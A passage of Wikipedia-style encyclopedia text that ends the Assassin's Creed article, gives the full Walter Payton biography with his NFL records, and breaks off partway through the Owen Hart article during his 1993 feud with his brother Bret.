Assassin's Creed received "generally favorable" reviews from critics according to Metacritic, a review aggregator. Famitsu awarded the Xbox 360 version of Assassin's Creed a 36 (9, 9, 9, 9) and the PlayStation 3 version a 37 (10, 8, 9, 10) out of 40, positively citing the story, presentation, and acrobatics, while criticizing the one-button combat, map layout, and camera problems. Game Informer awarded Assassin's Creed a 9.5 out of 10, praising the control scheme, replay value, and intriguing story, and expressing frustration over the repetitive information gathering missions. On The Hotlist on ESPNews, ESPN's Aaron Boulding called the game's concept of social stealth "fairly original" and added: "Visually, the developers nailed it." GameTrailers praised the story (giving a 9.7 score to its story), and also cited repetitive gameplay and bad AI as somewhat stifling its potential. It wrote that "Assassins Creed is one of those games that breaks new ground yet fails in nailing some fundamentals." The game also received a 10 out of 10 from GamesRadar, as well as from PlayStation: The Official Magazine. According to GamePro, it is one of the "finest gaming experiences ever created" if one is willing to be patient due to the lack of fast-paced action. Kevin VanOrd of GameSpot gave it a 9 out of 10, stating that "the greatest joy comes from the smallest details, and for every nerve-racking battle, there's a quiet moment that cuts to the game's heart and soul."
While still awarding the game decent scores, several publications cited a number of significant shortcomings. Michael Donahoe of 1Up.com gave it a B- for the story concept but felt more could have been done, writing "it's apparent that these grandiose ideas may have been a little too much to master the first go-round. ... at least the groundwork is laid for a killer sequel." Eurogamer stated that the gameplay "never evolves and ultimately becomes a bit boring, and quite amazingly repetitive." Hypers Darren Wells commended the game for its "great story, great graphics and intuitive controls". At the same time, he criticised it for "some missions that don't feel right on the PC and its loopy menu system." Hilary Goldstein of IGN gave the game a 7.5/10 ("Good"), stating that "a bad story, repetitive gameplay elements, and poor AI lead to the downfall of one of the more promising games in recent memory." Conversely, he complimented the combat animations and the climbing mechanic, and admired how accurately Ubisoft depicted the major cities of Jerusalem, Acre, and Damascus to their real-life counterparts. In Andrew P.'s mixed review for Electronic Gaming Monthly, he wrote that the game features "a challenging parkour path of escape", and while intriguing, it is "an incomplete template based on multiple other games".
Awards
Assassin's Creed won several awards at the 2006 E3. Game Critics awarded it "Best Action/Adventure Game"; "Best Action Game", "PS3 Game of the Show", "Best PS3 Action Game", and "Best PS3 Graphics" from IGN; "Best PS3 Game of the Show" from GameSpot and GameSpy; "Best of Show" from GameTrailers; and "Best PS3 Game" from 1UP.com. Assassin's Creed was nominated for several other awards by Xplay, as well as Spike TV. Assassin's Creed received multiple nominations at AIAS' 11th Annual Interactive Achievement Awards: "Adventure Game of the Year", "Outstanding Innovation in Gaming" and outstanding achievements in "Animation" (which it won), "Art Direction", "Gameplay Engineering" and "Visual Engineering". It was listed by Game Informer at 143 in their list of the top 200 games of all time. It also received the editor's choice award from GameSpot. In December 2015, Game Informer ranked it as the third-best game in the Assassin's Creed series to date.
Sales
Sales for Assassin's Creed were said by the publisher to have "greatly outstripped" their expectations. In the United Kingdom, Assassin's Creed debuted at number one, knocking Infinity Ward's Call of Duty 4: Modern Warfare from the top; the majority of the debut sales were on the Xbox 360, which claimed 67% of the game's total sales. The Xbox 360 and PlayStation 3 releases of Assassin's Creed each received a platinum sales award from the Entertainment and Leisure Software Publishers Association, indicating sales of at least 300,000 copies per version in the United Kingdom. On April 16, 2009, Ubisoft revealed that the game had sold 8 million copies.
Sequels
A prequel for the game, titled Assassin's Creed: Altaïr's Chronicles, developed by Gameloft, was released on February 5, 2008, for the Nintendo DS. A port of Assassin's Creed: Altaïr's Chronicles has also been released for the iPhone and the iPod Touch and Java ME on April 23, 2009, as well as for the Palm Pre.
Assassin's Creed II was released in the United States and Canada on November 17, 2009, and in Europe on November 20, 2009.
References
External links
Assassin's Creed UK website
Assassin's Creed U.S. website
Assassin's Creed on MobyGames
2007 video games
Action-adventure games
Assassin's Creed
Open-world video games
Palestine in fiction
PlayStation 3 games
Single-player video games
Stealth video games
Ubisoft games
Video games developed in Canada
Video games set in the 12th century
Video games set in 2012
Video games set in Acre, Israel
Video games set in the Crusades
Video games set in Damascus
Video games set in Israel
Video games set in Italy
Video games set in Jerusalem
Video games set in the Middle Ages
Video games set in the Middle East
Video games set in Rome
Video games set in Syria
Video games scored by Jesper Kyd
Video games with historical settings
Video games using Havok
Windows games
Xbox 360 games
Xbox One games
Xbox One X enhanced games
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https://en.wikipedia.org/wiki/Walter%20Payton
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Walter Payton
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Walter Jerry Payton (July 25, 1953 – November 1, 1999) was an American professional football running back who played in the National Football League (NFL) for 13 seasons with the Chicago Bears. Nicknamed "Sweetness", he is widely regarded as one of the greatest football players of all time. A nine-time Pro Bowl selection, Payton is remembered as a prolific rusher, once holding records for career rushing yards, touchdowns, carries, yards from scrimmage, all-purpose yards, and many other categories. Payton also retired with the most receptions by a non-receiver, and he had eight career touchdown passes.
He was elected into the Pro Football Hall of Fame in 1993, the Mississippi Sports Hall of Fame that same year, and the College Football Hall of Fame in 1996. He was named to the NFL 75th Anniversary All-Time Team in 1994 and the NFL 100th Anniversary All-Time Team in 2019. Hall of Fame NFL player and coach Mike Ditka described Payton as the greatest football player he had ever seen—but even greater as a human being.
Payton began his football career in Mississippi and went on to have an outstanding college football career at Jackson State University playing for the Tigers, where he was named Little All-American twice. He started his professional career with the Chicago Bears in 1975, who selected him with the 1975 Draft's fourth overall pick. Payton proceeded to win the 1977 AP NFL Most Valuable Player Award and won Super Bowl XX with the 1985 Chicago Bears. He retired from football at the end of the 1987 season having rushed for at least 1,200 yards in 10 of his 13 seasons in the NFL (with two of those thirteen being lockout-shortened seasons).
After struggling with the rare liver disease primary sclerosing cholangitis for several months, Payton died on November 1, 1999, from cholangiocarcinoma at the age of 46. His legacy includes being the namesake of the Walter Payton Man of the Year Award, Walter Payton Award, and a heightened awareness of the need for organ donations.
Early life
Payton was one of three children born to Peter and Alyne Payton in Columbia, Mississippi. Payton's year of birth is disputed; most sources at the time of his death stated he was born in 1954. However, other sources have stated he was born in 1953. His father was a factory worker who had played semi-professional baseball; he died in jail 1978 just a couple of hours after being wrongfully accused of driving under the influence due to a stroke that presented similar symptoms to alcohol intoxication. Payton was an active member of the Boy Scouts, Little League, and his local church. At John J. Jefferson High School, Payton played drums in the marching band, participated in the track team and sang in the school choir. Outside of school, he played drums in jazz-rock groups.
His brother Eddie was on the football team, but Payton did not play—partly to avoid competing with him. After Eddie graduated, the football coach asked Payton to try out for the team, and he agreed on the condition that he be allowed to continue playing in the band.
Once he began to play football, as a junior, he achieved instant success as a running back, running 65 yards for a touchdown on his first high-school carry. At , he was not especially large, but his speed and strength made him one of the team's featured players. John J. Jefferson High School was integrated with neighboring Columbia High School that year; Payton and his teammates were upset that their head coach, Charles L. Boston, had become an assistant and Payton boycotted some of the spring practices in protest, but returned during the fall season. He then earned statewide honors as a member of Mississippi's all-state team, leading Columbia to an unexpected 8–2 season. His performance helped ease the local tensions surrounding desegregation. Tommy Davis, Columbia's football coach, claimed that he could always count on Payton when the team needed to score. Payton's statistics proved that was no exaggeration: he scored in every game during his junior and senior years. He was named to the all-conference team two years in a row. Payton also led the Little Dixie Conference in scoring his senior year and made the all-state team. In addition to excelling at football, Payton averaged 18 points a game for Columbia's basketball team, leaped three-quarters of an inch short of 23 feet in the long jump, played baseball, and continued to drum in the school band.
College career
Even though Payton had established himself as one of Mississippi's best running back prospects, he received no invitations from Southeastern Conference colleges. After originally committing to Kansas State University, he decided to pursue his collegiate career at the historically black school Jackson State University (MS) where his older brother Eddie played football.
While attending Jackson State, Payton played alongside many future professional football players, including his roommate, Rickey Young, as well as Jerome Barkum, Robert Brazile, and Jackie Slater. As a member of the Jackson State Tigers, Payton rushed for 3,600 yards, averaging 6.1 yards per carry, and set the school record for career rushing touchdowns with 65. In 1973, Payton had a school record 24 rushing touchdowns, and was named Black College Player of the Year. He won this award again in 1974, in addition to being selected for the All-American Team. Payton graduated in 1975 with a Bachelor's degree in Communications.
He acquired the nickname "Sweetness" in college. The nickname's origin is ambiguous: it is variously said to have stemmed from his personality, from his athletic grace, or as an ironic description of his aggressive playing style. Payton was inducted into the College Football Hall of Fame in 1996, and he was posthumously inducted into the inaugural class of the Black College Football Hall of Fame in 2010.
Breakout performance
On September 23, 1972, during Payton's sophomore year, he set a then-best SWAC single-game scoring record by rushing for seven touchdowns (on runs of 6, 8, 2, 3, 1, 2, and 31 yards) and two 2-point conversions for 46 points as Jackson State beat Lane College, 72–0. He also set a school record with 279 rushing yards in the game.
Statistics
Professional career
1975–1982
The Chicago Bears drafted Walter Payton in the first round of the 1975 NFL Draft as the fourth overall pick. Payton was assigned #21 by the team but switched to #34 before the season started. The Bears had endured several losing seasons after the retirement of the iconic Gale Sayers in 1972. Payton's first game was not particularly successful; he was held to zero net rushing yards on eight attempts. His best performance of the season was the final game against the New Orleans Saints, where he rushed for 134 yards on 20 carries. Payton finished the season with only 679 yards and seven touchdowns. However, Payton led the league in yards per kickoff return.
Payton was eager to improve his performance. During the 1976 NFL season, Payton rushed for 1,390 yards and scored 13 touchdowns. After the season, he was selected to play in the 1977 Pro Bowl, where he was declared the Pro Bowl MVP. The next year, he rushed for 1,852 yards and scored 16 touchdowns, becoming the league's leading scorer for the season. He earned numerous awards that season, including the Associated Press and Pro Football Writers of America's Most Valuable Player awards. A memorable game of the 1977 NFL season was against the Minnesota Vikings on November 20. He rushed for a then-record 275 yards, breaking the previous record of 273 yards held by O. J. Simpson. In that record-setting game against the Vikings, Payton was suffering with a 101-degree fever and intense flu. His longest run was for 58 yards, and he caught one pass for 6 yards. His record stood for 23 years until Corey Dillon of the Cincinnati Bengals ran for 278 yards on October 22, 2000 (Adrian Peterson of the Minnesota Vikings set the current record of 296 rushing yards in 2007). By the end of the decade, Payton had received additional accolades for his exploits as a blocker, receiver, emergency punter, and quarterback.
1983–1986
The Bears struggled to assemble consecutive winning seasons, landing only two playoff berths since his arrival. The lack of success prompted the Bears' management to replace Neill Armstrong with Mike Ditka for the season that began in the Fall of 1982. Ditka, a tight end during the 1960s and 1970s who would also join the Pro Football Hall of Fame, led the Bears to a 3–6 (strike-shortened) record in 1982. He led the Bears to an 8–8 finish in 1983 and to a 10–6 finish in 1984. Payton continued his success by rushing for more than 1,400 yards in both seasons. On September 19, 1984, Payton passed Franco Harris as the active leader in career rushing yards. Three weeks later, on October 7, 1984, against the New Orleans Saints, Payton broke Jim Brown's career rushing record of 12,312 yards. In 1985, Payton rushed for more than 1,500 yards, helping the Bears establish the league's second-best offense with the emergence of quarterback Jim McMahon. The Bears' 46 defense of that season would go on to become one of the best in NFL history, setting a record for fewest points allowed. In one 1984 game, Payton was pressed into service as the team's fourth-string quarterback.
Payton performed with his teammates in the widely released 1985 music video The Super Bowl Shuffle. The Bears went on to a 15–1 record that culminated in a 46–10 victory over the New England Patriots in Super Bowl XX. Although Payton's offensive prowess had assisted the Bears throughout the 1985 season, he did not score any touchdowns in the postseason and the New England Patriots prevented him from reaching the end zone in the Super Bowl. According to quarterback Jim McMahon, he was targeted by two or three defenders on every play, and others stated that Payton's mere presence allowed others to shine, given that at least two people were targeting Payton on every play. In a later interview, Ditka stated that one of his major regrets was Payton's lack of a touchdown in the Super Bowl.
1986–1987
Payton, who was a 12-year veteran, amassed 1,333 yards in the 1986 NFL season. The Bears won the NFC Central Division, but lost to the Washington Redskins 27–13 in the divisional round. At the end of the 1986 season, he announced that he would retire from professional football after completing the 1987 NFL season. During his last season with the Bears, Payton split carries with his successor, Neal Anderson, and rushed for a career-low 533 yards along with four touchdowns. Payton's career ended with another loss to the Washington Redskins in the divisional round of the playoffs by the score of 21–17 on January 10, 1988. Over his entire career, Payton rushed for 16,726 yards, which broke the record for most rushing yards by any NFL player in history, and scored 110 touchdowns. He caught 492 passes for 4,538 yards and 15 touchdowns. Payton set several team records, including most career rushing yards, receptions, touchdowns, and touchdown passes by a running back. His jersey number was retired by the Bears, and he was inducted into the Pro Football Hall of Fame in 1993.
Playing style
Payton's motto was "Never Die Easy", which is also the title of his posthumously published autobiography. Payton attributed this motto to Bob (Robert) Hill, his coach at Jackson State. In practice, this meant that Payton refused to deliberately run out-of-bounds and always delivered some punishment to his tacklers before being forced off the field or forced down.
One of Payton's signature maneuvers was the "stutter-step", a high-stepping, irregularly paced run. He developed this as a way to distract his pursuers during long runs, saying that it startled them into thinking and gave him some advantage over players who were actually faster runners. In his autobiography, he likened the stutter step to a kind of "option play": when he was stutter-stepping, defenders would have to commit to a pursuit angle based upon whether they thought he would accelerate after the stutter-step, or cut—he would read this angle and do the opposite of what the defender had committed to.
He re-invented the practice of stiff-arming his tacklers, which had gone out of favor among running backs in the 1970s. At times, he used his high-school experience as a long jumper to leap over his opponents, landing on his head in the end zone to gain a touchdown in a game against the Buffalo Bills. His running gait was somewhat unusual, as his knees were minimally bent, and the motion was largely powered from the hip. This may have given his knees, a football player's most vulnerable joints, some protection, although he underwent arthroscopic surgery on both knees in 1983. He referred to this procedure as an 11,000-yard checkup.
After scoring touchdowns, Payton declined to celebrate; instead, he would often hand the ball to his teammates or the official. He disapproved of the growing practice of touchdown celebrations; he preferred post-game antics such as rushing into the locker room and locking his teammates out in the cold while taking a long shower. Although Payton would have won the respect of his peers and coaches by his running alone, he retired as the career leader in receptions for a running back, with 492 for over 4,500 yards, and still holds the career record for a running back, with 8 touchdown passes.
Personal life
Throughout his life, Payton had claimed his date of birth as July 25, 1954, a date that is cited in many of his early biographies. However, while researching his biography of Payton, Sports Illustrateds Jeff Pearlman discovered his actual date of birth to be July 25, 1953. Pearlman found Payton's earliest use of the later date during his pursuit of the Heisman Trophy at Jackson State.
Payton married Connie Norwood in 1976. During his rookie year, he resided in a home on the north side of Arlington Heights, Illinois. The couple had two children, Jarrett Payton (born 1980) and Brittney Payton (1985) and resided in South Barrington, Illinois. Payton's marriage of 18 years came to an abrupt end when he unexpectedly served Norwood divorce papers for joint custody; however, despite not living together for most of the remainder of Payton's life, the divorce was never made official.
Payton was inducted as a laureate of The Lincoln Academy of Illinois and awarded the Order of Lincoln by the governor of Illinois in 1987 in the area of sports. In 1988, he received the Golden Plate Award of the American Academy of Achievement.
In 1987, Payton accidentally shot a manager of a nightclub in Schaumburg, Illinois, that was owned by Payton. Payton had recently bought the 9 mm French-made Manurhin Pistolet for his collection and was unaware that it was loaded. The pistol, which was described as a collector's handgun that was registered, discharged while being handed to Payton by a third party while pointed at the nightclub manager, Elmer Ray Hutson Jr.; Hutson suffered knee damage from the shooting.
Payton battled with depression after his playing career. His agent, Bud Holmes, recalled Payton talked about committing suicide. His executive assistant, Ginny Quirk, also recounted a similar instance where Payton said, "You won't see me when you get to the office tomorrow. Enjoy life without me."
A Christian, Payton attended the non-denominational Destiny Church in Hoffman Estates, Illinois, in the years after retiring from football.
Investments
In 1990, Payton, along with many other investors, sought to bring an NFL expansion team to St. Louis, Missouri, and Payton expressed his interest in becoming the first minority owner in NFL history. Although the NFL strongly favored a franchise in St. Louis, their efforts were thwarted because of internal dissension among the investment group members. leading the NFL to award franchises to investment groups in Jacksonville, Florida (Jacksonville Jaguars), and Charlotte, North Carolina (Carolina Panthers). St. Louis eventually received a team when the Los Angeles Rams moved to the city in 1995.
Payton pursued various business ventures in retirement, including becoming co-owner of Dale Coyne Racing in the CART IndyCar World Series. He also drove in several Trans-Am Series events, including a 1993 race at Road America in which his car overturned and caught fire. He suffered burns but escaped serious injury.
In 1995, he and several partners purchased a roundhouse in Aurora, Illinois that had previously belonged to the Chicago, Burlington and Quincy Railroad. The property became known as "Walter Payton's Roundhouse", hosting a restaurant, brewery, banquet and meeting facility, and museum. In 1999, the property received an award from the National Trust for Historic Preservation. The beers brewed at the Roundhouse received awards in the 2000s.
In popular culture
Payton appeared on a 1987 episode of Saturday Night Live (co-hosting with fellow football player Joe Montana). That same year, he participated in Prince Edward of the United Kingdom's charity television special The Grand Knockout Tournament. In 1994, he made an appearance at the World Wrestling Federation's SummerSlam event in the corner of Razor Ramon.
Illness and death
In February 1999, Payton announced that he had a rare liver disease known as primary sclerosing cholangitis, which may have led to his cholangiocarcinoma (bile duct cancer). He spent his final months as an advocate for organ transplants, appearing in many commercials to encourage others to donate organs, although by the time his first appeal was recorded, his illness was already too far advanced for transplantation to have been a viable option. In April of that year, Payton made a final public appearance at a Chicago Cubs game with Mike Ditka, where he threw the game's ceremonial first pitch. Author Don Yaeger worked with him during the last weeks of his life to create his autobiography, Never Die Easy.
On November 1, 1999, Payton died from the complications that arose from his illness. He was 46 years old. During the same week, the NFL held special ceremonies in each game to commemorate his career and legacy. In addition, the Chicago Bears wore special #34 patches on their jerseys to honor Payton.
Speakers at Payton's public funeral service, held in Soldier Field, included then National Football League Commissioner Paul Tagliabue; former teammate Dan Hampton; his widow, Connie Payton; and his children, Jarrett and Brittney. Among the 1,000 mourners at the private service were John Madden; Illinois Governor George Ryan; Chicago's mayor Richard M. Daley; former teammates Matt Suhey, Mike Singletary, Roland Harper, and Jim McMahon; the Bears' equipment manager and building superintendent.
Legacy
Payton's legacy continues through the charitable Walter and Connie Payton Foundation. His own appeals—and, after his death, his foundation's—for greater awareness of the need for organ donations are widely credited with bringing national attention to the problem. After his appeals, donations in Illinois skyrocketed, and the regional organ bank of Illinois was overwhelmed with calls. In response, the City of Chicago inserted organ donation requests into city-vehicle-registration mailings in early 2000, and, by August 2000, 13,000 people had signed on to the program. The foundation continues to run a program that Payton organized to donate toys to underprivileged children across the Chicago area each Christmas. The family established the Walter Payton Cancer Fund in 2002.
Pro Football Focus founder Neil Hornsby in 2010 named Payton as the greatest player in NFL history. Many modern NFL running backs have cited Payton as a source of inspiration. Emmitt Smith tearfully paid homage to Payton after breaking Payton's rushing record. LaDainian Tomlinson, who set numerous records during the 2006 NFL season, named Payton as one of his foremost mentors and inspirations. Ahman Green, a former player for the Bears' rival Green Bay Packers, is said to have idolized Payton, viewing the highlight film "Pure Payton" before each game. Walter's son, Jarrett Payton, was a running back for the Tennessee Titans, NFL Europe's Amsterdam Admirals, CFL's Montreal Alouettes, and IFL's Chicago Slaughter. During his tenure at the University of Miami, Jarrett wore a #34 jersey to honor his father's memory. In 2009, Jarrett married on March 4 (3/4), which was intentionally set to coincide with Payton's jersey number.
The city of Chicago has honored Payton's memory in several ways. In 1999, the city created a special city sticker that featured Payton. The profits from the sales of these stickers along with the special license plate created by the State of Illinois are given to support organ-donor programs across Illinois. Also, the city named a magnet high school, Walter Payton College Prep, in his honor. In September 2007, the University of Illinois at Chicago Medical Center opened the Walter Payton Liver Center after a generous donation from Payton's family, who were pleased with the care he received there. Chicago Metra commuters have long been witness to a simple "#34 Sweetness", painted on a bridge piling of the Air Line on the south end of the Chicago Union Station yards. The State of Illinois has named U.S. Route 34 in Illinois as the Walter Payton Memorial Highway.
Until its sale to Two Brothers Brewing in 2011, Walter Payton's Roundhouse continued to draw hundreds of thousands of visitors annually to the Aurora, Illinois site. A plaque now hangs on the building commemorating Payton. There are two athletic awards named after Payton. The NCAA gives the "Walter Payton Award" to the best offensive player from a Division I FCS (still often known by its former designation of Division I-AA) football team. The NFL hands out the "Walter Payton Man of the Year" award for player achievements in community service during a particular season. The wellness center at Jackson State University is also named in honor of him, known as "The Walter Payton Recreation and Wellness Center."
The Chicago Bears honored Payton's career and life on November 1, 2009, by airing a special tribute video during halftime. The video consisted of highlight clips from Payton's career and interview segments from Mike Ditka, Virginia McCaskey, Richard Dent, and many other members of the Bears organization. Payton's wife, daughter, son, and mother were present to watch the video, which aired on Soldier Field's Jumbotron. The Bears later named their official indoor practice and training facility at Halas Hall in Lake Forest, Illinois after Payton.
After Payton's death, Nickol Knoll Hill, an old landfill site turned into a golf course in Arlington Heights, Illinois, was renamed "Payton's Hill". There are two plaques on the hill to remind visitors of the hill that it was where Payton used to train in the 1970s and 1980s. Payton did his morning run at the hill every day. Pictures and memorabilia of Payton cover the walls of the golf course clubhouse.
The asteroid 85386 Payton, discovered by the Air Force Maui Optical and Supercomputing observatory in 1996, is named in Payton's memory. The official was published by the Minor Planet Center on 20 May 2008 ().
In September 2019, the Chicago Tribune named Payton the greatest Bears player of all time.
NFL career statistics
Payton was the NFL's all-time leader in rushing yards and all-purpose yards prior to the 2002 NFL season, when Emmitt Smith broke his record. Payton also held the rushing touchdown record until it was broken by Marcus Allen during the 1996 NFL season. He also held the single game rushing record until the 2000 NFL season, when it was broken by Corey Dillon. Payton led the league in rushing yards and touchdowns in the 1977 NFL season. Also, he was among the top-ten players for rushing attempts during his entire career, including 1976, 1977, and 1978, and led the category in 1979. he is the NFL's second all-time leading rusher, and he is ranked fifth in rushing touchdowns scored. Along with Frank Gifford, Payton threw six interceptions, more than any other non-quarterback position in NFL history. He also passed for eight touchdowns, which is second to Gifford (14) for non-quarterbacks.
Regular season
Postseason
* NFL Record at time of retirement
Bears franchise records
Most rush attempts (career): 3,838
Most rush attempts (season): 381 (1984)
Most rush attempts (game): 40 (1977-11-20 MIN)
Most rush attempts (playoff career): 180
Most rush attempts (playoff season): 67 (1985)
Most rush attempts (playoff game): 27 (1986-01-05 NYG; tied with Neal Anderson)
Most rush yards (career): 16,726
Most rush yards (season): 1,852 (1977)
Most rush yards (game): 275 (1977-11-20 MIN)
Most rush yards (playoff career): 632
Most rushing TDs (career): 110
Most rushing TDs (season): 14 (1977 and 1979; tied with Gale Sayers)
Most rushing TDs (playoff game): 2 (1979-12-23 @PHI; tied with Thomas Jones twice)
Most rush yds/game (career): 88.0
Most rush yds/game (season): 132.3 (1977)
Most receptions (career): 492
Most receptions (playoff career): 22
Most total TDs (career): 125
Most yds from scrimmage (career): 21,264
Most yds from scrimmage (season): 2,121 (1977)
Most yds from scrimmage (playoff career): 810
Most all purpose yds (career): 21,803
Most all purpose yds (playoff career): 867
Most 100+ yard rushing games (career): 78
Most 100+ yard rushing games (season): 10 (1977, 1984 and 1985)
Most games with 1+ TD scored (career): 89
Most games with 2+ TD scored (career): 32
Most games with 2+ TD scored (season): 6 (1977 and 1979)
Most games with 3+ TD scored (career): 6
Most games with 3+ TD scored (season): 2 (1977 and 1979; tied with Gale Sayers, Neal Anderson and Matt Forte)
Most seasons with 1000+ rushing yards (career): 10
NFL records
Consecutive regular season starts by a running back: 170, from to
Most consecutive seasons leading the league in rushing attempts: 4 (tied, –)
Games with 100 or more yards from scrimmage gained, career: 108
Passing touchdowns by a non-quarterback since merger: 8
Explanatory notes
Notes
References
Further reading
External links
Payton34.com, the Walter and Connie Payton Foundation
Walter Payton Cancer Fund
Walter Payton Liver Center at the University of Illinois Medical Center at Chicago
Walter Payton tribute page at the Chicago Bears
1954 births
1999 deaths
African-American players of American football
African-American racing drivers
Age controversies in sports
American football halfbacks
American football running backs
Chicago Bears players
College Football Hall of Fame inductees
Dale Coyne Racing
Deaths from cancer in Illinois
Deaths from cholangiocarcinoma
IndyCar Series team owners
Jackson State Tigers football players
Motorsport team owners
National Conference Pro Bowl players
National Football League Most Valuable Player Award winners
National Football League Offensive Player of the Year Award winners
National Football League players with retired numbers
People from Columbia, Mississippi
People from South Barrington, Illinois
People from West Point, Mississippi
Players of American football from Chicago
Players of American football from Mississippi
Pro Football Hall of Fame inductees
Racing drivers from Chicago
Racing drivers from Mississippi
Trans-Am Series drivers
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https://en.wikipedia.org/wiki/Owen%20Hart
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Owen Hart
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Owen James Hart (May 7, 1965 – May 23, 1999) was a Canadian professional wrestler who worked for several promotions including Stampede Wrestling, New Japan Pro-Wrestling (NJPW), World Championship Wrestling (WCW), and the World Wrestling Federation (WWF). He received most of his success in the WWF, where he wrestled under both his own name and the ring name The Blue Blazer.
A member of the Hart wrestling family, he was born in Calgary, Alberta, the youngest of twelve children of Stampede Wrestling promoters Stu and Helen Hart. Among other accolades, Owen was a one-time USWA Unified World Heavyweight Champion, a two-time WWF Intercontinental Champion, a one-time WWF European Champion, and a four-time WWF World Tag Team Champion, as well as the 1994 WWF King of the Ring. He headlined multiple pay-per-view events for the WWF, and was widely regarded as one of the company's best in-ring performers.
Hart died on May 23, 1999, during his entrance from the rafters of Kemper Arena in Kansas City, Missouri, United States. The equipment that was lowering him to the ring malfunctioned and he fell to his death in front of a live audience and live on Pay Per View during WWF's Over the Edge event.
Early life
Owen was born on May 7, 1965, in Calgary, Alberta into the Hart wrestling family and was the youngest child of Stu and Helen Hart. He grew up in a household with eleven older siblings: Smith, Bruce, Keith, Wayne, Dean, Ellie, Georgia, Bret, Alison, Ross and Diana.
He was of Greek descent through his maternal grandmother and Irish through his maternal grandfather. His father was mainly of Scots-Irish descent, but also had Scottish and German ancestry.
Because his mother, Helen, was born in New York, Hart held American citizenship in addition to Canadian citizenship, which he acquired due to birth in Canada to a Canadian-born father.
Professional wrestling career
Early career (1983–1988)
Hart first gained wrestling experience in the amateur wrestling division at high school, through which he met his wife, Martha. Hart continued amateur wrestling for the Dinos at the University of Calgary. He placed 4th at the 1984 Canada West championships in the 76 kg weight class. Wrestling was not Hart's first choice for a career; as Martha explained in her book Broken Harts, Owen tried numerous times to find a profitable living outside of wrestling. Owen is quoted as saying, in the WWE Home Video "Owen Hart of Gold" that "during his time in the University, he wrestled incognito (under a mask) as the original British Bulldog. Then, after he graduated from the University, he wrestled as "Bronco" Owen Hart at Royal Albert Hall in London, England. As those attempts were unsuccessful, Hart was trained in his father's Hart Dungeon and worked for his father's federation, Stampede Wrestling and in England for Max Crabtree's Joint Promotions in matches that got broadcast on ITV's World of Sport. He remained with Stampede for the next couple of years while honing his skills. During 1986, Hart teamed with Ben Bassarab and won the Stampede Wrestling International Tag Team Championship. The success of the team and Hart's in-ring skills earned him Pro Wrestling Illustrateds Rookie of the Year Award in 1987. After he and Bassarab lost the tag team title, he feuded with Johnny Smith and Dynamite Kid.
In 1987, Hart branched out to Japan where he wrestled for New Japan Pro-Wrestling (NJPW) on several tours. In NJPW, he wrestled Keiichi Yamada, both before and after he debuted the Jushin Liger gimmick. On May 27, 1988, Hart defeated Hiroshi Hase for the IWGP Junior Heavyweight Championship, becoming the first non-japanese wrestler to win the title. His reign would end nearly a month later, as he lost the title to Shiro Koshinaka on June 24, 1988.
World Wrestling Federation (1988–1989)
Hart's success in Japan and Stampede's working relationship with the World Wrestling Federation led to Hart signing with the company in the summer of 1988. Instead of promoting Owen as Bret Hart's younger brother, the WWF decided to create a masked "superhero" type gimmick for him which played to his high-flying style. He broke into the WWF as The Blue Blazer (initially The Blue Angel), with his early appearances seeing him defeat the likes of Terry Gibbs, Steve Lombardi and Barry Horowitz. The Blue Blazer made his pay-per-view debut at Survivor Series '88, teaming with The Ultimate Warrior, Brutus Beefcake, Jim Brunzell and Sam Houston against The Honky Tonk Man, Greg Valentine, Outlaw Ron Bass, Bad News Brown and Dangerous Danny Davis. The Blazer was eliminated by Valentine, but his team went on to win the match. He continued to wrestle in the midcard, defeating enhancement talent but often falling short against other name talent; he lost to Ted DiBiase on the March 11, 1989 Saturday Night's Main Event XX and was defeated by Mr. Perfect at WrestleMania V.
Various promotions (1989–1991)
Shortly after WrestleMania, Hart left the WWF to tour the world both with and without the Blue Blazer gimmick. He also returned to Stampede, until it shut down in December 1989. In 1991, Hart lost the Blue Blazer mask in a mascara contra mascara match against Mexican wrestler El Canek, and would not utilize the gimmick again until 1998.
He also returned to New Japan Pro-Wrestling (NJPW). In 1990 he went to Germany and worked Catch Wrestling Association.
Hart debuted in World Championship Wrestling's self-titled TV show on March 16, 1991, the first of five TV matches he competed in, all of which were against preliminary talent such as Mark Kyle. One of the bouts saw him team with Ricky Morton.
World Wrestling Federation (1991–1999)
The New Foundation and High Energy (1991–1993)
Hart had been engaged in contract discussions with WCW but the deal was never struck, as Owen was not willing to move himself and his family to the company's headquarters in Atlanta. Instead, he signed with the WWF for a second time. In the WWF the popular Hart Foundation, composed of his brother Bret and real-life brother-in-law Jim Neidhart, had split up; Bret set out on a singles career while Neidhart was used sparingly. When Neidhart returned from a storyline injury, he joined Owen to form a team known as The New Foundation. Owen and Neidhart first feuded with the Beverly Brothers. They then had their only pay-per-view match at the Royal Rumble in January 1992 where they beat The Orient Express. Neidhart left the WWF shortly afterward, and Hart set out on a very short run as a singles wrestler, including a victorious match at WrestleMania VIII when he faced off against Skinner. Shortly after WrestleMania, Hart was teamed up with Koko B. Ware to form the duo known as High Energy. They had only one pay-per-view match as a team, at the Survivor Series where they lost to The Headshrinkers. The team was quietly dropped at the start of 1993 with Hart starting a singles career. Owen suffered a knee injury on March 9, 1993, in a match taped for Superstars, against Bam Bam Bigelow, which kept him sidelined for nearly two months.
Feud with Bret Hart (1993–1995)
In the middle of 1993, when Bret Hart's feud with Jerry Lawler ignited, Owen stood by his brother's side and fought against Lawler in the United States Wrestling Association where most of the WWF talent were considered the heels. Owen won the USWA Unified World Heavyweight Championship from Papa Shango. Owen's participation in the WWF vs. USWA feud was cut short when he suffered a knee injury in the summer of 1993 and was forced to take some time away from the ring.
Hart returned to the WWF ring in the fall of 1993, at a time when Bret's feud with Lawler was temporarily sidetracked. Bret, along with Owen and their brothers Bruce and Keith, were scheduled to face Lawler and his team at Survivor Series. However, Lawler was unable to make it to the show, and as a result could not appear on WWF television. Lawler was replaced with Shawn Michaels. During the match Owen and Bret inadvertently crashed into each other, causing Owen to be eliminated from the team. Owen showed up after the match and had a heated confrontation with Bret, while Keith, Bruce and Stu tried to calm things down. This confrontation resulted in Owen leaving the ring to boos while his brothers and father watched in dismay and mother Helen cried at ringside. The following night Owen adopted the pink and black tights, sunglasses and Sharpshooter finisher to send a message to his brother. Owen, angry with being in Bret's shadow, challenged his brother which Bret declined. Instead the brothers seemed to reunite by the holidays.
